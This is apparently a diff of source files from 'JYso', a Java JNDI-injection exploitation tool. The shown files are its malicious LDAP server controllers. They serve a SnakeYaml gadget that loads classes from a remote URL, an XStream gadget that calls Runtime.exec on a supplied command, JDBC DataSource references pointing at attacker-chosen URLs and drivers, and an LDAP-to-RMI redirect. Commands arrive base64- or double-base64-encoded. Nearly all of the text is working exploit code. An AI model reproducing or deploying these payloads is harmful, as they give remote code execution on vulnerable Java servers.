// 将类型值设为从第二个斜杠后的字符串到第三个斜杠前(不包括第三个斜杠)所表示的字符串转换为 PayloadType 枚举类型 // 将类型值设为从第二个斜杠后的字符串到第三个斜杠前(不包括第三个斜杠)所表示的字符串转换为 PayloadType 枚举类型
String Ty3 = base.substring(secondIndex + 1, thirdIndex); String Ty3 = base.substring(secondIndex + 1, thirdIndex);
payloadType = PayloadType.valueOf(Ty3.toLowerCase()); payloadType = PayloadType.valueOf(Ty3.toLowerCase());
} catch (IllegalArgumentException e) { } catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex)); throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
} }
if (payloadType == PayloadType.sethttp) { if (payloadType == PayloadType.sethttp) {
params = BCEL1; params = BCEL1;
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + BCEL1).reset()); System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + BCEL1).reset());
} }
if (payloadType == PayloadType.command) { if (payloadType == PayloadType.command) {
if (gadgetType1 == GadgetType.base64) { if (gadgetType1 == GadgetType.base64) {
cmd11 = Utils.getCmdFromBase(base); cmd11 = Utils.getCmdFromBase(base);
} }
if (gadgetType1 == GadgetType.base64Two) { if (gadgetType1 == GadgetType.base64Two) {
String encodedString = Utils.getCmdFromBase(base); String encodedString = Utils.getCmdFromBase(base);
byte[] decodedBytes = Base64.getDecoder().decode(encodedString); byte[] decodedBytes = Base64.getDecoder().decode(encodedString);
String T1 = new String(decodedBytes); String T1 = new String(decodedBytes);
byte[] decodedBytes1 = Base64.getDecoder().decode(T1); byte[] decodedBytes1 = Base64.getDecoder().decode(T1);
cmd11 = new String(decodedBytes1); cmd11 = new String(decodedBytes1);
} }
params = cmd11; params = cmd11;
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd11).reset()); System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd11).reset());
} }
} catch (Exception e) { } catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
if (e instanceof UnSupportedGadgetTypeException) throw (UnSupportedGadgetTypeException) e; if (e instanceof UnSupportedGadgetTypeException) throw (UnSupportedGadgetTypeException) e;
throw new IncorrectParamsException("Incorrect params >> " + base); throw new IncorrectParamsException("Incorrect params >> " + base);
} }
} }
} }
@@ -1,71 +1,71 @@
package com.qi4l.JYso.controllers; package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType; import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException; import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException; import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException; import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Utils; import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode; import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef; import org.apache.naming.ResourceRef;
import org.fusesource.jansi.Ansi; import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr; import javax.naming.StringRefAddr;
@LdapMapping(uri = {"/snakeyaml"}) @LdapMapping(uri = {"/snakeyaml"})
public class SnakeYamlController implements LdapController { public class SnakeYamlController implements LdapController {
private String[] params; private String[] params;
private GadgetType gadgetType; private GadgetType gadgetType;
@Override @Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
Entry e = new Entry(base); Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String"); e.addAttribute("javaClassName", "java.lang.String");
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "", ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null); true, "org.apache.naming.factory.BeanFactory", null);
String yaml = "!!javax.script.ScriptEngineManager [\n" + String yaml = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" + " !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"" + params[0] + "\"]\n" + " !!java.net.URL [\"" + params[0] + "\"]\n" +
" ]]\n" + " ]]\n" +
"]"; "]";
ref.add(new StringRefAddr("forceString", "a=load")); ref.add(new StringRefAddr("forceString", "a=load"));
ref.add(new StringRefAddr("a", yaml)); ref.add(new StringRefAddr("a", yaml));
e.addAttribute("javaSerializedData", Utils.serialize(ref)); e.addAttribute("javaSerializedData", Utils.serialize(ref));
result.sendSearchEntry(e); result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} }
@Override @Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException { public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
System.out.println("- JNDI LDAP Local Reference Links + SnakeYaml"); System.out.println("- JNDI LDAP Local Reference Links + SnakeYaml");
try { try {
base = base.replace('\\', '/'); base = base.replace('\\', '/');
int fistIndex = base.indexOf("/"); int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1); int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length(); if (secondIndex < 0) secondIndex = base.length();
int thirdIndex = base.indexOf("/", secondIndex + 1); int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex != -1) { if (thirdIndex != -1) {
try { try {
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase()); gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
} catch (IllegalArgumentException e) { } catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex)); throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
} }
} }
if (gadgetType == GadgetType.base64) { if (gadgetType == GadgetType.base64) {
String cmd = Utils.getCmdFromBase(base); String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset()); System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset());
params = new String[]{cmd}; params = new String[]{cmd};
} }
} catch (Exception e) { } catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params: " + base); throw new IncorrectParamsException("Incorrect params: " + base);
} }
} }
} }
@@ -1,92 +1,92 @@
package com.qi4l.JYso.controllers; package com.qi4l.JYso.controllers;
import com.qi4l.JYso.exceptions.IncorrectParamsException; import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException; import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException; import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Utils; import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode; import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef; import org.apache.naming.ResourceRef;
import org.fusesource.jansi.Ansi; import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr; import javax.naming.StringRefAddr;
@LdapMapping(uri = {"/xstream"}) @LdapMapping(uri = {"/xstream"})
public class XStreamController implements LdapController { public class XStreamController implements LdapController {
private String[] params; private String[] params;
@Override @Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
Entry e = new Entry(base); Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String"); //could be any e.addAttribute("javaClassName", "java.lang.String"); //could be any
ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "", ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null); true, "org.apache.naming.factory.BeanFactory", null);
String xml = "<java.util.PriorityQueue serialization='custom'>\n" + String xml = "<java.util.PriorityQueue serialization='custom'>\n" +
" <unserializable-parents/>\n" + " <unserializable-parents/>\n" +
" <java.util.PriorityQueue>\n" + " <java.util.PriorityQueue>\n" +
" <default>\n" + " <default>\n" +
" <size>2</size>\n" + " <size>2</size>\n" +
" </default>\n" + " </default>\n" +
" <int>3</int>\n" + " <int>3</int>\n" +
" <dynamic-proxy>\n" + " <dynamic-proxy>\n" +
" <interface>java.lang.Comparable</interface>\n" + " <interface>java.lang.Comparable</interface>\n" +
" <handler class='sun.tracing.NullProvider'>\n" + " <handler class='sun.tracing.NullProvider'>\n" +
" <active>true</active>\n" + " <active>true</active>\n" +
" <providerType>java.lang.Comparable</providerType>\n" + " <providerType>java.lang.Comparable</providerType>\n" +
" <probes>\n" + " <probes>\n" +
" <entry>\n" + " <entry>\n" +
" <method>\n" + " <method>\n" +
" <class>java.lang.Comparable</class>\n" + " <class>java.lang.Comparable</class>\n" +
" <name>compareTo</name>\n" + " <name>compareTo</name>\n" +
" <parameter-types>\n" + " <parameter-types>\n" +
" <class>java.lang.Object</class>\n" + " <class>java.lang.Object</class>\n" +
" </parameter-types>\n" + " </parameter-types>\n" +
" </method>\n" + " </method>\n" +
" <sun.tracing.dtrace.DTraceProbe>\n" + " <sun.tracing.dtrace.DTraceProbe>\n" +
" <proxy class='java.lang.Runtime'/>\n" + " <proxy class='java.lang.Runtime'/>\n" +
" <implementing__method>\n" + " <implementing__method>\n" +
" <class>java.lang.Runtime</class>\n" + " <class>java.lang.Runtime</class>\n" +
" <name>exec</name>\n" + " <name>exec</name>\n" +
" <parameter-types>\n" + " <parameter-types>\n" +
" <class>java.lang.String</class>\n" + " <class>java.lang.String</class>\n" +
" </parameter-types>\n" + " </parameter-types>\n" +
" </implementing__method>\n" + " </implementing__method>\n" +
" </sun.tracing.dtrace.DTraceProbe>\n" + " </sun.tracing.dtrace.DTraceProbe>\n" +
" </entry>\n" + " </entry>\n" +
" </probes>\n" + " </probes>\n" +
" </handler>\n" + " </handler>\n" +
" </dynamic-proxy>\n" + " </dynamic-proxy>\n" +
" <string>" + params[0] + "</string>\n" + " <string>" + params[0] + "</string>\n" +
" </java.util.PriorityQueue>\n" + " </java.util.PriorityQueue>\n" +
"</java.util.PriorityQueue>"; "</java.util.PriorityQueue>";
ref.add(new StringRefAddr("forceString", "a=fromXML")); ref.add(new StringRefAddr("forceString", "a=fromXML"));
ref.add(new StringRefAddr("a", xml)); ref.add(new StringRefAddr("a", xml));
e.addAttribute("javaSerializedData", Utils.serialize(ref)); e.addAttribute("javaSerializedData", Utils.serialize(ref));
result.sendSearchEntry(e); result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} }
@Override @Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException { public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
System.out.println("- JNDI LDAP Local Refenrence Links + XStream"); System.out.println("- JNDI LDAP Local Refenrence Links + XStream");
try { try {
int firstIndex = base.indexOf("/"); int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1); int secondIndex = base.indexOf("/", firstIndex + 1);
if (secondIndex < 0) secondIndex = base.length(); if (secondIndex < 0) secondIndex = base.length();
String payloadType = base.substring(firstIndex + 1, secondIndex); String payloadType = base.substring(firstIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset()); System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
String cmd = Utils.getCmdFromBase(base); String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset()); System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = new String[]{cmd}; params = new String[]{cmd};
} catch (Exception e) { } catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params >> " + base); throw new IncorrectParamsException("Incorrect params >> " + base);
} }
} }
} }
@@ -1,96 +1,96 @@
package com.qi4l.JYso.controllers; package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType; import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException; import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Utils; import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode; import com.unboundid.ldap.sdk.ResultCode;
import org.fusesource.jansi.Ansi; import org.fusesource.jansi.Ansi;
import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.LogManager;
@LdapMapping(uri = {"/jdbc1"}) @LdapMapping(uri = {"/jdbc1"})
public class jdbcController1 implements LdapController { public class jdbcController1 implements LdapController {
private static final Logger log = LogManager.getLogger(jdbcController1.class); private static final Logger log = LogManager.getLogger(jdbcController1.class);
private static String driverq; private static String driverq;
private static String factoryType; private static String factoryType;
private static String[] params; private static String[] params;
private static GadgetType gadgetType; private static GadgetType gadgetType;
public static void printResultJDBC1(String base) throws Exception { public static void printResultJDBC1(String base) throws Exception {
base = base.replace('\\', '/'); base = base.replace('\\', '/');
int fistIndex = base.indexOf("/"); int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1); int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length(); if (secondIndex < 0) secondIndex = base.length();
try { try {
driverq = base.substring(fistIndex + 1, secondIndex); driverq = base.substring(fistIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + driverq).reset()); System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + driverq).reset());
} catch (IllegalArgumentException e) { } catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
} }
int thirdIndex = base.indexOf("/", secondIndex + 1); int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex < 0) thirdIndex = base.length(); if (thirdIndex < 0) thirdIndex = base.length();
try { try {
factoryType = base.substring(secondIndex + 1, thirdIndex); factoryType = base.substring(secondIndex + 1, thirdIndex);
System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset()); System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
} catch (IllegalArgumentException e) { } catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
} }
int fourthIndex = base.indexOf("/", thirdIndex + 1); int fourthIndex = base.indexOf("/", thirdIndex + 1);
if (fourthIndex != -1) { if (fourthIndex != -1) {
try { try {
gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase()); gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
} catch (IllegalArgumentException e) { } catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex)); throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex));
} }
} }
if (gadgetType == GadgetType.base64) { if (gadgetType == GadgetType.base64) {
String cmd = Utils.getCmdFromBase(base); String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset()); System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset());
params = new String[]{cmd}; params = new String[]{cmd};
} }
} }
@Override @Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
try { try {
Entry e = new Entry(base); Entry e = new Entry(base);
String driver = driverq; String driver = driverq;
String JDBC_URL = params[0]; String JDBC_URL = params[0];
e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaClassName", "javax.sql.DataSource"); e.addAttribute("javaClassName", "javax.sql.DataSource");
e.addAttribute("javaFactory", factoryType); e.addAttribute("javaFactory", factoryType);
e.addAttribute("javaReferenceAddress", "/0/url/" + JDBC_URL, "/1/driverClassName/" + driver, "/2/username/Squirt1e", "/3/password/Squirt1e", "/4/initialSize/1"); e.addAttribute("javaReferenceAddress", "/0/url/" + JDBC_URL, "/1/driverClassName/" + driver, "/2/username/Squirt1e", "/3/password/Squirt1e", "/4/initialSize/1");
result.sendSearchEntry(e); result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) { } catch (Throwable er) {
System.err.println("Error while generating or serializing payload"); System.err.println("Error while generating or serializing payload");
log.error(String.valueOf(er)); log.error(String.valueOf(er));
} }
} }
@Override @Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI JDBC Reference Links Target < JDK20"); System.out.println("- JNDI JDBC Reference Links Target < JDK20");
try { try {
printResultJDBC1(base); printResultJDBC1(base);
} catch (Exception e) { } catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params: " + base); throw new IncorrectParamsException("Incorrect params: " + base);
} }
} }
} }
@@ -1,113 +1,113 @@
package com.qi4l.JYso.controllers; package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType; import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException; import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Utils; import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode; import com.unboundid.ldap.sdk.ResultCode;
import org.fusesource.jansi.Ansi; import org.fusesource.jansi.Ansi;
import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.LogManager;
import javax.naming.RefAddr; import javax.naming.RefAddr;
import javax.naming.Reference; import javax.naming.Reference;
import javax.naming.StringRefAddr; import javax.naming.StringRefAddr;
import java.util.Enumeration; import java.util.Enumeration;
@LdapMapping(uri = {"/jdbc2"}) @LdapMapping(uri = {"/jdbc2"})
public class jdbcController2 implements LdapController { public class jdbcController2 implements LdapController {
private static final Logger log = LogManager.getLogger(jdbcController2.class); private static final Logger log = LogManager.getLogger(jdbcController2.class);
private static String payloadType; private static String payloadType;
private static String factoryType; private static String factoryType;
private static String[] params; private static String[] params;
private static GadgetType gadgetType; private static GadgetType gadgetType;
public static void printResultJDBC2(String base) throws Exception { public static void printResultJDBC2(String base) throws Exception {
base = base.replace('\\', '/'); base = base.replace('\\', '/');
int fistIndex = base.indexOf("/"); int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1); int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length(); if (secondIndex < 0) secondIndex = base.length();
try { try {
payloadType = base.substring(fistIndex + 1, secondIndex); payloadType = base.substring(fistIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + payloadType).reset()); System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + payloadType).reset());
} catch (IllegalArgumentException e) { } catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
} }
int thirdIndex = base.indexOf("/", secondIndex + 1); int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex < 0) thirdIndex = base.length(); if (thirdIndex < 0) thirdIndex = base.length();
try { try {
factoryType = base.substring(secondIndex + 1, thirdIndex); factoryType = base.substring(secondIndex + 1, thirdIndex);
System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset()); System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
} catch (IllegalArgumentException e) { } catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
} }
int fourthIndex = base.indexOf("/", thirdIndex + 1); int fourthIndex = base.indexOf("/", thirdIndex + 1);
if (fourthIndex != -1) { if (fourthIndex != -1) {
try { try {
gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase()); gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
} catch (IllegalArgumentException e) { } catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex)); throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex));
} }
} }
if (gadgetType == GadgetType.base64) { if (gadgetType == GadgetType.base64) {
String cmd = Utils.getCmdFromBase(base); String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset()); System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset());
params = new String[]{cmd}; params = new String[]{cmd};
} }
} }
@Override @Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
try { try {
Entry e = new Entry(base); Entry e = new Entry(base);
String driver = payloadType; String driver = payloadType;
String JDBC_URL = params[0]; String JDBC_URL = params[0];
Reference ref = new Reference("javax.sql.DataSource", factoryType, null); Reference ref = new Reference("javax.sql.DataSource", factoryType, null);
ref.add(new StringRefAddr("driverClassName", driver)); ref.add(new StringRefAddr("driverClassName", driver));
ref.add(new StringRefAddr("url", JDBC_URL)); ref.add(new StringRefAddr("url", JDBC_URL));
ref.add(new StringRefAddr("initialSize", "1")); ref.add(new StringRefAddr("initialSize", "1"));
e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaClassName", ref.getClassName()); e.addAttribute("javaClassName", ref.getClassName());
e.addAttribute("javaFactory", ref.getFactoryClassName()); e.addAttribute("javaFactory", ref.getFactoryClassName());
Enumeration<RefAddr> enumeration = ref.getAll(); Enumeration<RefAddr> enumeration = ref.getAll();
int sn = 0; int sn = 0;
while (enumeration.hasMoreElements()) { while (enumeration.hasMoreElements()) {
StringRefAddr addr = (StringRefAddr) enumeration.nextElement(); StringRefAddr addr = (StringRefAddr) enumeration.nextElement();
e.addAttribute("javaReferenceAddress", "#" + sn + "#" + addr.getType() + "#" + addr.getContent()); e.addAttribute("javaReferenceAddress", "#" + sn + "#" + addr.getType() + "#" + addr.getContent());
sn++; sn++;
} }
result.sendSearchEntry(e); result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) { } catch (Throwable er) {
System.err.println("Error while generating or serializing payload"); System.err.println("Error while generating or serializing payload");
log.error(String.valueOf(er)); log.error(String.valueOf(er));
} }
} }
@Override @Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI JDBC Reference Links Target < JDK20"); System.out.println("- JNDI JDBC Reference Links Target < JDK20");
try { try {
printResultJDBC2(base); printResultJDBC2(base);
} catch (Exception e) { } catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params: " + base); throw new IncorrectParamsException("Incorrect params: " + base);
} }
} }
} }
@@ -1,44 +1,44 @@
package com.qi4l.JYso.controllers; package com.qi4l.JYso.controllers;
import com.qi4l.JYso.exceptions.IncorrectParamsException; import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException; import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException; import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config; import com.qi4l.JYso.gadgets.Config.Config;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode; import com.unboundid.ldap.sdk.ResultCode;
import org.fusesource.jansi.Ansi; import org.fusesource.jansi.Ansi;
@LdapMapping(uri = {"/ldap2rmi"}) @LdapMapping(uri = {"/ldap2rmi"})
public class ldap2rmiController implements LdapController { public class ldap2rmiController implements LdapController {
private final String ip = Config.ip; private final String ip = Config.ip;
private final String rmiPort = String.valueOf(Config.rmiPort); private final String rmiPort = String.valueOf(Config.rmiPort);
private String path; private String path;
@Override @Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
System.out.println("- Change LDAP to RMI "); System.out.println("- Change LDAP to RMI ");
Entry e = new Entry(base); Entry e = new Entry(base);
e.addAttribute("javaClassName", "foo"); e.addAttribute("javaClassName", "foo");
e.addAttribute("javaRemoteLocation", "rmi://" + ip + ":" + rmiPort + path); e.addAttribute("javaRemoteLocation", "rmi://" + ip + ":" + rmiPort + path);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" redirecting to: " + "rmi://" + ip + ":" + rmiPort + path).reset()); System.out.println(Ansi.ansi().fgBrightMagenta().a(" redirecting to: " + "rmi://" + ip + ":" + rmiPort + path).reset());
result.sendSearchEntry(e); result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} }
@Override @Override
